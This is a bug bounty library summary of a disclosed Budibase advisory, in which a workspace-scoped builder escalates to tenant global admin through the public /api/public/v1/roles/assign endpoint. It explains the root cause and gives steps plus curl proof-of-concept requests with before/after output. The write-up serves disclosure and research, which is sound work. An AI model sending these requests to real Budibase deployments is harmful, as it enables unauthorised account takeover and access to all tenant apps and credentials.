# Budibase: Workspace-scoped builder escalates to global admin via /api/public/v1/roles/assign

Workspace-scoped builder on Budibase calls /api/public/v1/roles/assign with `admin:true`, mass-assigning global admin to any user including themselves.

- Payout: Research
- Severity: critical
- Program: Budibase
- Found by: adrgs, aisafe-bot
- Disclosed: 2026-06-12
- CVE: CVE-2026-48150
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-6xp4-cf37-ppjh
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-6xp4-cf37-ppjh
- Tags: area:web domain:api domain:web impact:ato impact:privesc kind:research platform:ghsa sev:critical tech:rest technique:source-review vuln:access-control vuln:privilege-escalation

**Target:** Public REST API endpoint /api/public/v1/roles/assign (npm @budibase/server)
**Root cause:** The builderOrAdmin middleware accepts app-scoped builders (builder.apps contains the x-budibase-app-id) for an endpoint that grants global-scope roles, and the controller spreads the request body into the SDK, which sets builder.global/admin.global without checking the caller's own privilege.
**Steps:**
1. Admin creates Alice as workspace-scoped builder (`builder.apps: [app_...]`, `builder.global` unset) and a BASIC victim user.
2. Alice mints an API key: `GET /api/global/self/api_key` with her session cookie.
3. Alice POSTs `/api/public/v1/roles/assign` with headers `x-budibase-api-key: $ALICE_APIKEY` and `x-budibase-app-id: $APP_ID`, body `{"userIds":["us_70b6...victim"],"builder":true}` — passes builderOrAdmin because isBuilder matches her app scope.
4. Victim's `builder.global` flips to True (HTTP 200).
5. Alice repeats with body `{"userIds":["us_dab...alice"],"admin":true}` to set her own `admin.global` to True, becoming tenant global admin.
**How found:** Code review of the public roles controller and SDK: noticed `assignmentProps` spread unfiltered into `sdk.publicApi.roles.assign`, then traced the route guard to builderOrAdmin and observed `isBuilder` matches app-scoped builders, creating a scope mismatch between the guard and the global grant.
**Exploitation:** Any workspace-scoped builder with an API key and an Enterprise license (EXPANDED_PUBLIC_API) sends one POST scoped to their own app id; the SDK bulk-updates the supplied user ids, granting global builder or global admin. Targeting self yields full tenant admin: all apps, users, datasource credentials, automations, SCIM/OIDC/audit config.
**Escalation:** Two-step: first grant `builder:true` to confirm the endpoint works, then `admin:true` on own id; `admin` write leaves existing `builder.apps` intact so the attacker retains both scopes.
**Insight:** When a route guard checks workspace/app-scoped roles, audit whether the handler can write global-scope attributes — the guard's scope and the grant's scope must match; also grep for `...ctx.request.body` spreads into SDK calls that mutate user/role objects.

## Proof of concept (copied exactly from the original report)

**POST roles/assign grants builder:true to victim**

```
curl -sS -X POST "$BASE/api/public/v1/roles/assign" \
  -H "Content-Type: application/json" \
  -H "x-budibase-api-key: $ALICE_APIKEY" \
  -H "x-budibase-app-id: $APP_ID" \
  -d '{"userIds":["us_70b6...victim"],"builder":true}'

Admin verifies:

BEFORE: builder: {'global': False} admin: {'global': False}
ATTACK: HTTP 200 {"data":{"userIds":["us_70b6..."]}}
AFTER:  builder: {'global': True}  admin: {'global': False}
```

**POST roles/assign self-promotes Alice to global admin**

```
curl -sS -X POST "$BASE/api/public/v1/roles/assign" \
  -H "Content-Type: application/json" \
  -H "x-budibase-api-key: $ALICE_APIKEY" \
  -H "x-budibase-app-id: $APP_ID" \
  -d '{"userIds":["us_dab...alice"],"admin":true}'

AFTER: builder: {'apps': ['app_...']} admin: {'global': True}
```

**Mint API key tied to Alice's identity**

```
curl -sS -b alice "$BASE/api/global/self/api_key"
# → {"apiKey":"80f28...","userId":"us_dab...","createdAt":"..."}
```

